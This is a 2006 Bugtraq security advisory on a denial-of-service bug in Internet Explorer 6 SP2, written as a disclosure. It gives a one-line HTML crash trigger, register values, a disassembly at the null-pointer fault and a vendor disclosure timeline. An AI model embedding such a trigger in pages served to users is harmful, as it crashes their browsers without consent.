Date: 25 May 2006 22:53:03 -0000
From: bugtraq@...ph3us.org
To: bugtraq@...urityfocus.com
Subject: [BuHa-Security] DoS Vulnerability in MS IE 6 SP2


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 ---------------------------------------------------
| BuHa Security-Advisory #12    |    May 25th, 2006 |
 ---------------------------------------------------
| Vendor   | MS Internet Explorer 6.0               |
| URL      | http://www.microsoft.com/windows/ie/   |
| Version  | <= 6.0.2900.2180.xpsp_sp2              |
| Risk     | Low (Denial of Service)                |
 ---------------------------------------------------

o Description:
=============

Internet Explorer, abbreviated IE or MSIE, is a proprietary web browser
made by Microsoft and currently available as part of Microsoft Windows.

Visit http://www.microsoft.com/windows/ie/default.mspx or
http://en.wikipedia.org/wiki/Internet_Explorer for detailed information.

o Denial of Service: <mshtml.dll>#7d6d2db4
===================

Following HTML code forces MS IE 6 to crash:
> <applet><h4><title> </title><base>

Online-demo:
http://morph3us.org/security/pen-testing/msie/ie60-1132901785453-7d6d2db4.html

These are the register values and the ASM dump at the time of the access
violation:
> eax=00000000 ebx=00000000 ecx=00e78d38 edx=00e7a704 esi=0012a268
> edi=00000000 eip=7d6d2db4 esp=0012a228 ebp=0012a25c
>
>         7d6d2d7d e868f9ffff       call    mshtml+0x2226ea (7d6d26ea)
>         7d6d2d82 50               push    eax
>         7d6d2d83 e835f8ffff       call    mshtml+0x2225bd (7d6d25bd)
>         7d6d2d88 85c0             test    eax,eax
>         7d6d2d8a 8945f8           mov     [ebp-0x8],eax
>         7d6d2d8d 0f85c4020000     jne     mshtml+0x223057 (7d6d3057)
>         7d6d2d93 8b461c           mov     eax,[esi+0x1c]
>         7d6d2d96 8b4e18           mov     ecx,[esi+0x18]
>         7d6d2d99 8365f400         and     dword ptr [ebp-0xc],0x0
>         7d6d2d9d 8365fc00         and     dword ptr [ebp-0x4],0x0
>         7d6d2da1 8b7e14           mov     edi,[esi+0x14]
>         7d6d2da4 8945f0           mov     [ebp-0x10],eax
>         7d6d2da7 e88462e4ff       call    mshtml+0x69030 (7d519030)
>         7d6d2dac 3bc7             cmp     eax,edi
>         7d6d2dae 0f8402020000     je      mshtml+0x222fb6 (7d6d2fb6)
> FAULT ->7d6d2db4 8b07             mov     eax,[edi]
>                                           ds:0023:00000000=????????
>         7d6d2db6 8bc8             mov     ecx,eax
>         7d6d2db8 83e10f           and     ecx,0xf
>         7d6d2dbb 49               dec     ecx
>         7d6d2dbc 0f849c010000     je      mshtml+0x222f5e (7d6d2f5e)
>         7d6d2dc2 49               dec     ecx
>         7d6d2dc3 0f84b3000000     je      mshtml+0x222e7c (7d6d2e7c)
>         7d6d2dc9 49               dec     ecx
>         7d6d2dca 49               dec     ecx
>         7d6d2dcb 746c             jz      mshtml+0x222e39 (7d6d2e39)
>         7d6d2dcd 83e904           sub     ecx,0x4
>         7d6d2dd0 0f85a5010000     jne     mshtml+0x222f7b (7d6d2f7b)
>         7d6d2dd6 8bcf             mov     ecx,edi
>         7d6d2dd8 e8482ffeff       call    mshtml+0x205d25 (7d6b5d25)
>         7d6d2ddd 85c0             test    eax,eax
>         7d6d2ddf 7430             jz      mshtml+0x222e11 (7d6d2e11)
>         7d6d2de1 837e0400         cmp     dword ptr [esi+0x4],0x0

This issue is a non-exploitable Null Pointer Dereference vulnerability and
leads to DoS.

o Vulnerable versions:
=====================

The DoS vulnerability was successfully tested on:
> MS IE 6 SP2 - Win XP Pro SP2
> MS IE 6     - Win 2k SP4

o Disclosure Timeline:
=====================

xx Feb 06 - Vulnerabilities discovered.
08 Mar 06 - Vendor contacted.
22 Mar 06 - Vendor confirmed vulnerabilities.
25 May 06 - Public release.

o Solution:
==========

I think - this is not an official statement from the Microsoft Security
Response Center - the vulnerability will be fixed in an upcoming service
pack.

o Credits:
=========

Thomas Waldegger <bugtraq@...ph3us.org>
BuHa-Security Community - http://buha.info/board/

If you have questions, suggestions or criticism about the advisory feel
free to send me a mail. The address 'bugtraq@...ph3us.org' is more a
spam address than a regular mail address therefore it's possible that
some mails get ignored. Please use the contact details at
http://morph3us.org/ to contact me.

Greets fly out to cyrus-tc, destructor, nait, rhy, trappy and all
members of BuHa.

Advisory online: http://morph3us.org/advisories/20060525-msie6-sp2-1.txt

- --
Don't you feel the power of CSS Layouts?
BuHa-Security Community: http://buha.info/board/

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